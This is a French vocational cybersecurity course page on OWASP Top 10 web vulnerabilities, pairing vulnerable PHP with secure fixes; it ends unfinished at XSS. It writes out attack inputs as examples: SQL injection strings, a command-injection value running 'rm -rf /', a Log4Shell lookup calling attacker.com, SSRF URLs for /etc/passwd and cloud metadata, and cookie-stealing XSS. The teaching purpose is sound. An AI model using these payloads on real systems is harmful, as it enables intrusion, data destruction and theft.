Aller au contenu

Formation Cybersécurité - BTS SIO SLAM/SISR

Objectifs de la formation

À l’issue de cette formation, vous serez capable de :

Prérequis

Pour SLAM :

Pour SISR :

Programme détaillé


Module 1 : Introduction à la Cybersécurité

1.1 Les enjeux de la cybersécurité

Contexte actuel

La cybersécurité est devenue un enjeu majeur pour toutes les organisations :

Cas réels marquants

Cas 1 : Attaque Colonial Pipeline (2021)

Cas 2 : Fuite de données Facebook (2021)

Cas 3 : Attaque Maersk - NotPetya (2017)

Les trois piliers de la sécurité : CIA

Confidentialité (Confidentiality)

Intégrité (Integrity)

Disponibilité (Availability)

1.2 Les acteurs de la menace

1. Script Kiddies

2. Hacktivistes

3. Cybercriminels

4. APT (Advanced Persistent Threats)

5. Menace interne

1.3 Types d’attaques courantes

Attaques techniques

Attaques humaines

Exercice pratique : Identifier les attaques

Analysez ces scénarios et identifiez le type d’attaque :

  1. Un email prétendant venir de votre DSI demande vos identifiants pour “maintenance” → Phishing

  2. Un site web permet d’exécuter SELECT * FROM users WHERE id='1' OR '1'='1'Injection SQL

  3. Une clé USB “Salaires 2024” est laissée dans le parking → Baiting


Module 2 : Sécurité des Applications Web (SLAM)

2.1 OWASP Top 10 (2021)

A01 - Broken Access Control

Définition : Restrictions d’accès mal implémentées permettant aux utilisateurs d’agir en dehors de leurs permissions.

Exemple vulnérable (PHP) :

<?php
// VULNÉRABLE - Pas de vérification d'autorisation
$userId = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $userId";
$result = mysqli_query($conn, $query);
$user = mysqli_fetch_assoc($result);

// Affiche les données de n'importe quel utilisateur
echo "Email: " . $user['email'];
echo "Salary: " . $user['salary'];
?>

Attaque possible :

http://example.com/profile.php?id=1  // Mon profil
http://example.com/profile.php?id=2  // Je peux voir le profil de l'utilisateur 2 !

Solution sécurisée :

<?php
session_start();

// SÉCURISÉ - Vérification d'autorisation
if (!isset($_SESSION['user_id'])) {
    http_response_code(401);
    die("Non autorisé");
}

$requestedUserId = (int)$_GET['id'];
$currentUserId = (int)$_SESSION['user_id'];

// Vérifier que l'utilisateur peut uniquement voir son propre profil
// (sauf si admin)
if ($requestedUserId !== $currentUserId && !$_SESSION['is_admin']) {
    http_response_code(403);
    die("Accès refusé");
}

// Utiliser une requête préparée
$stmt = $conn->prepare("SELECT email, name FROM users WHERE id = ?");
$stmt->bind_param("i", $requestedUserId);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

echo "Email: " . htmlspecialchars($user['email']);
?>

Bonnes pratiques :

A02 - Cryptographic Failures

Exemple : Stockage de mots de passe :

** DANGEREUX - Stockage en clair :**

INSERT INTO users (username, password) VALUES ('john', 'Password123');

INSUFFISANT - MD5/SHA1 :

$password = md5($_POST['password']); // Cassable en quelques secondes

** SÉCURISÉ - bcrypt/Argon2 :**

// Lors de l'inscription
$hashedPassword = password_hash($_POST['password'], PASSWORD_ARGON2ID, [
    'memory_cost' => 65536,
    'time_cost' => 4,
    'threads' => 3
]);

// Stockage en base
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $hashedPassword);

// Lors de la connexion
$stmt = $conn->prepare("SELECT password FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

if (password_verify($_POST['password'], $user['password'])) {
    // Connexion réussie
    
    // Vérifier si le hash doit être mis à jour
    if (password_needs_rehash($user['password'], PASSWORD_ARGON2ID)) {
        $newHash = password_hash($_POST['password'], PASSWORD_ARGON2ID);
        // Mettre à jour en base
    }
}

Exemple : Chiffrement des données sensibles :

// VULNÉRABLE
$creditCard = $_POST['cc_number'];
$query = "INSERT INTO payments (card_number) VALUES ('$creditCard')";

// SÉCURISÉ
$key = getEncryptionKey(); // Clé stockée dans un coffre-fort (Vault)
$iv = random_bytes(16);
$encryptedCard = openssl_encrypt(
    $_POST['cc_number'],
    'aes-256-gcm',
    $key,
    0,
    $iv,
    $tag
);

// Stocker : IV + Tag + Données chiffrées
$stmt = $conn->prepare("INSERT INTO payments (card_data, iv, tag) VALUES (?, ?, ?)");

A03 - Injection

Injection SQL - Exemple détaillé

Scénario vulnérable :

// Page de connexion vulnérable
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Connexion réussie !";
}

Exploitation :

Username: admin' OR '1'='1' --
Password: (n'importe quoi)

Requête générée :
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = ''

Résultat : Connexion réussie sans mot de passe !

Attaques possibles :

-- 1. Extraire des données
Username: ' UNION SELECT username, password, email FROM users --

-- 2. Supprimer des données
Username: '; DROP TABLE users; --

-- 3. Créer un compte admin
Username: '; INSERT INTO users (username, password, role) VALUES ('hacker', 'pwd', 'admin'); --

Solution - Requêtes préparées :

// SÉCURISÉ - PDO
$pdo = new PDO('mysql:host=localhost;dbname=mydb', $user, $pass);

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $hashedPassword]);
$user = $stmt->fetch();

// SÉCURISÉ - MySQLi
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $_POST['username'], $hashedPassword);
$stmt->execute();
$result = $stmt->get_result();

Injection de commandes OS

// VULNÉRABLE
$filename = $_GET['file'];
$output = shell_exec("cat $filename");

// Attaque : ?file=secret.txt; rm -rf /
// Résultat : Affiche le fichier PUIS supprime tout !

// SÉCURISÉ
$allowedFiles = ['log1.txt', 'log2.txt'];
$filename = basename($_GET['file']); // Supprime les chemins

if (in_array($filename, $allowedFiles)) {
    $output = file_get_contents("/var/logs/" . $filename);
} else {
    die("Fichier non autorisé");
}

A04 - Insecure Design

Exemple : Récupération de mot de passe

Mauvais design :

Question secrète : "Quel est le nom de jeune fille de votre mère ?"
→ Information souvent publique (réseaux sociaux)
→ Une seule question
→ Pas de limite de tentatives

Bon design :

1. Envoi d'un lien de réinitialisation par email
2. Token unique à usage unique avec expiration (15 minutes)
3. Validation par SMS/email (double facteur)
4. Logging de toutes les tentatives
5. Rate limiting (3 tentatives max par heure)

Exemple d’implémentation :

// Génération du token de réinitialisation
function generatePasswordResetToken($userId) {
    $token = bin2hex(random_bytes(32));
    $expiry = date('Y-m-d H:i:s', strtotime('+15 minutes'));
    
    $stmt = $pdo->prepare(
        "INSERT INTO password_resets (user_id, token, expiry, used) 
         VALUES (?, ?, ?, 0)"
    );
    $stmt->execute([$userId, hash('sha256', $token), $expiry]);
    
    return $token; // Envoyer par email (non hashé)
}

// Validation du token
function validateResetToken($token) {
    $hashedToken = hash('sha256', $token);
    
    $stmt = $pdo->prepare(
        "SELECT user_id FROM password_resets 
         WHERE token = ? AND expiry > NOW() AND used = 0"
    );
    $stmt->execute([$hashedToken]);
    
    if ($row = $stmt->fetch()) {
        // Marquer comme utilisé
        $stmt = $pdo->prepare("UPDATE password_resets SET used = 1 WHERE token = ?");
        $stmt->execute([$hashedToken]);
        
        return $row['user_id'];
    }
    
    return false;
}

A05 - Security Misconfiguration

Exemples courants :

1. Erreurs verbales en production

// MAUVAIS - En production
ini_set('display_errors', 1);
error_reporting(E_ALL);

// Affiche :
// Fatal error: Uncaught PDOException: SQLSTATE[42000]: 
// Syntax error near 'SELECT * FROM users WHERE id=' in /var/www/config.php:15

// BON - Configuration production
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php/error.log');

// Afficher un message générique
try {
    // Code
} catch (Exception $e) {
    error_log($e->getMessage()); // Loggé en interne
    echo "Une erreur est survenue. Contactez le support."; // Message utilisateur
}

2. Fichiers sensibles accessibles

# DANGEREUX - Fichiers exposés
http://example.com/.env
http://example.com/.git/
http://example.com/config.php
http://example.com/backup.sql

# Configuration Apache
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

<FilesMatch "\.(env|sql|log|bak)$">
    Require all denied
</FilesMatch>

# Configuration Nginx
location ~ /\. {
    deny all;
}

location ~* \.(env|sql|log|bak)$ {
    deny all;
}

3. Headers de sécurité manquants

// Headers de sécurité essentiels
header("X-Frame-Options: DENY"); // Protection contre le clickjacking
header("X-Content-Type-Options: nosniff"); // Empêche le MIME sniffing
header("X-XSS-Protection: 1; mode=block"); // Protection XSS basique
header("Strict-Transport-Security: max-age=31536000; includeSubDomains"); // Force HTTPS
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");

// Supprimer les headers qui révèlent des infos
header_remove("X-Powered-By");

A06 - Vulnerable and Outdated Components

Exemple réel : Log4Shell (CVE-2021-44228)

Cette vulnérabilité dans Log4j a affecté des millions d’applications.

// Code vulnérable (Log4j < 2.15.0)
logger.info("User: " + request.getParameter("username"));

// Exploitation
username=${jndi:ldap://attacker.com/exploit}

// Résultat : Exécution de code à distance !

Bonnes pratiques :

# 1. Scanner les dépendances
npm audit
pip check
mvn dependency:tree

# 2. Automatiser avec des outils
# - Dependabot (GitHub)
# - Snyk
# - OWASP Dependency-Check

# 3. Maintenir un inventaire
{
  "dependencies": {
    "express": "^4.18.2",  // ok À jour
    "lodash": "^3.10.0"    // ko Vulnérable (CVE-2019-10744)
  }
}

Exemple de mise à jour sécurisée :

# Vérifier les vulnérabilités
npm audit

# Mise à jour automatique
npm audit fix

# Mise à jour manuelle si nécessaire
npm update lodash@latest

# Vérifier que l'application fonctionne
npm test

A07 - Identification and Authentication Failures

Exemple 1 : Énumération d’utilisateurs

// ko VULNÉRABLE - Messages différents
if (!userExists($username)) {
    echo "Nom d'utilisateur incorrect";
} else if (!passwordMatch($username, $password)) {
    echo "Mot de passe incorrect";
}

// Attaquant peut déterminer quels usernames existent !

// ok SÉCURISÉ - Message générique
if (!authenticate($username, $password)) {
    echo "Identifiants incorrects";
    // Logger la tentative avec l'IP
    logFailedAttempt($_SERVER['REMOTE_ADDR'], $username);
}

Exemple 2 : Politique de mots de passe faibles

// FAIBLE
if (strlen($password) >= 6) {
    // Accepté : "123456", "password", "azerty"
}

// ROBUSTE
function validatePassword($password) {
    $errors = [];
    
    if (strlen($password) < 12) {
        $errors[] = "Au moins 12 caractères";
    }
    
    if (!preg_match('/[A-Z]/', $password)) {
        $errors[] = "Au moins une majuscule";
    }
    
    if (!preg_match('/[a-z]/', $password)) {
        $errors[] = "Au moins une minuscule";
    }
    
    if (!preg_match('/[0-9]/', $password)) {
        $errors[] = "Au moins un chiffre";
    }
    
    if (!preg_match('/[^A-Za-z0-9]/', $password)) {
        $errors[] = "Au moins un caractère spécial";
    }
    
    // Vérifier contre une liste de mots de passe courants
    $commonPasswords = file('common_passwords.txt', FILE_IGNORE_NEW_LINES);
    if (in_array($password, $commonPasswords)) {
        $errors[] = "Mot de passe trop commun";
    }
    
    return $errors;
}

Exemple 3 : Authentification multi-facteurs (2FA)

// Génération du code TOTP
use OTPHP\TOTP;

// Setup initial
$totp = TOTP::create();
$totp->setLabel('user@example.com');
$secret = $totp->getSecret();

// Afficher le QR code pour Google Authenticator
$qrCodeUri = $totp->getQrCodeUri(
    'https://api.qrserver.com/v1/create-qr-code/',
    'My Application'
);

// Validation du code
function verify2FA($secret, $code) {
    $totp = TOTP::create($secret);
    return $totp->verify($code, null, 1); // Fenêtre de 30s
}

// Utilisation lors de la connexion
if (authenticate($username, $password)) {
    if ($user['2fa_enabled']) {
        $_SESSION['pending_2fa'] = $user['id'];
        // Rediriger vers la page 2FA
    } else {
        // Connexion directe (encourager l'activation 2FA)
    }
}

A08 - Software and Data Integrity Failures

Exemple : Vérification d’intégrité

// Téléchargement d'une mise à jour
$updateUrl = "https://updates.example.com/app_v2.zip";
$updateFile = "/tmp/update.zip";

// DANGEREUX - Pas de vérification
file_put_contents($updateFile, file_get_contents($updateUrl));
exec("unzip $updateFile -d /var/www/");

// SÉCURISÉ - Vérifier le hash
$expectedHash = "a3c5..."; // Hash SHA-256 publié officiellement

file_put_contents($updateFile, file_get_contents($updateUrl));
$actualHash = hash_file('sha256', $updateFile);

if ($actualHash !== $expectedHash) {
    unlink($updateFile);
    die("Erreur : Fichier corrompu ou altéré !");
}

// Vérifier la signature numérique
$signature = file_get_contents($updateUrl . '.sig');
$publicKey = file_get_contents('/etc/keys/public.pem');

if (!openssl_verify(file_get_contents($updateFile), $signature, $publicKey, OPENSSL_ALGO_SHA256)) {
    unlink($updateFile);
    die("Erreur : Signature invalide !");
}

// Installation sécurisée
exec("unzip $updateFile -d /var/www/");

A09 - Security Logging and Monitoring Failures

Exemple d’implémentation de logging sécurisé :

class SecurityLogger {
    private $logFile = '/var/log/security/app.log';
    
    public function logEvent($event, $level, $data = []) {
        $entry = [
            'timestamp' => date('Y-m-d H:i:s'),
            'level' => $level,
            'event' => $event,
            'user_id' => $_SESSION['user_id'] ?? null,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'request_uri' => $_SERVER['REQUEST_URI'] ?? 'unknown',
            'data' => $data
        ];
        
        // Ne jamais logger de données sensibles
        unset($entry['data']['password']);
        unset($entry['data']['credit_card']);
        
        file_put_contents(
            $this->logFile,
            json_encode($entry) . PHP_EOL,
            FILE_APPEND | LOCK_EX
        );
    }
    
    public function logFailedLogin($username, $ip) {
        $this->logEvent('failed_login', 'WARNING', [
            'username' => $username,
            'ip' => $ip
        ]);
        
        // Alerter si trop de tentatives
        $recentAttempts = $this->countRecentAttempts($ip, 300); // 5 minutes
        if ($recentAttempts >= 5) {
            $this->sendAlert("Multiple failed login attempts from $ip");
        }
    }
    
    public function logDataAccess($resource, $action) {
        $this->logEvent('data_access', 'INFO', [
            'resource' => $resource,
            'action' => $action
        ]);
    }
    
    public function logPrivilegeEscalation($userId, $oldRole, $newRole) {
        $this->logEvent('privilege_change', 'CRITICAL', [
            'user_id' => $userId,
            'old_role' => $oldRole,
            'new_role' => $newRole,
            'changed_by' => $_SESSION['user_id']
        ]);
        
        $this->sendAlert("Privilege escalation: User $userId role changed to $newRole");
    }
}

// Utilisation
$logger = new SecurityLogger();

// Connexion échouée
$logger->logFailedLogin($_POST['username'], $_SERVER['REMOTE_ADDR']);

// Accès aux données sensibles
$logger->logDataAccess('/api/users/export', 'READ');

// Changement de privilèges
$logger->logPrivilegeEscalation(123, 'USER', 'ADMIN');

Dashboard de monitoring (exemple simplifié) :

// Analyser les logs pour détecter des anomalies
function detectAnomalies() {
    $logs = file('/var/log/security/app.log');
    $suspicious = [];
    
    // Détecter les tentatives de force brute
    $failedLogins = [];
    foreach ($logs as $line) {
        $entry = json_decode($line, true);
        if ($entry['event'] === 'failed_login') {
            $ip = $entry['ip'];
            $failedLogins[$ip] = ($failedLogins[$ip] ?? 0) + 1;
        }
    }
    
    foreach ($failedLogins as $ip => $count) {
        if ($count > 10) {
            $suspicious[] = [
                'type' => 'brute_force',
                'ip' => $ip,
                'attempts' => $count
            ];
        }
    }
    
    // Détecter les accès suspects (heures inhabituelles)
    // Détecter les changements de privilèges
    // etc.
    
    return $suspicious;
}

A10 - Server-Side Request Forgery (SSRF)

Exemple vulnérable :

// VULNÉRABLE
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

// Attaque possible :
// ?url=http://localhost:22 (scanner les ports)
// ?url=http://169.254.169.254/latest/meta-data/ (AWS metadata)
// ?url=file:///etc/passwd (lire des fichiers locaux)

Solution sécurisée :

// SÉCURISÉ
function fetchUrl($url) {
    // Whitelist de domaines autorisés
    $allowedDomains = ['api.example.com', 'cdn.example.com'];
    
    // Parser l'URL
    $parsed = parse_url($url);
    
    // Vérifications
    if (!isset($parsed['scheme']) || !in_array($parsed['scheme'], ['http', 'https'])) {
        throw new Exception("Protocole non autorisé");
    }
    
    if (!isset($parsed['host']) || !in_array($parsed['host'], $allowedDomains)) {
        throw new Exception("Domaine non autorisé");
    }
    
    // Bloquer les IPs privées
    $ip = gethostbyname($parsed['host']);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        throw new Exception("Adresse IP privée détectée");
    }
    
    // Fetch sécurisé
    $context = stream_context_create([
        'http' => [
            'timeout' => 5,
            'follow_location' => 0, // Désactiver les redirections
        ]
    ]);
    
    return file_get_contents($url, false, $context);
}

2.2 Cross-Site Scripting (XSS) - Détails approfondis

Types de XSS

1. XSS Réfléchi (Reflected)

// Page search.php - VULNÉRABLE
<?php
$search = $_GET['q'];
echo "Résultats pour : $search";
?>

// Attaque :
// search.php?q=<script>alert(document.cookie)</script>

2. XSS Stocké (Stored)

// Commentaire stocké en base - VULNÉRABLE
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);

// Plus tard, affichage :
echo $comment; // Si contient <script>, il sera exécuté !

3. XSS DOM-based

<!-- VULNÉRABLE -->
<script>
// URL: page.html#<img src=x onerror=alert(1)>
var hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
</script>

Protection complète contre XSS

Utilisation de htmlspecialchars

à suivre… (cours non finalisé)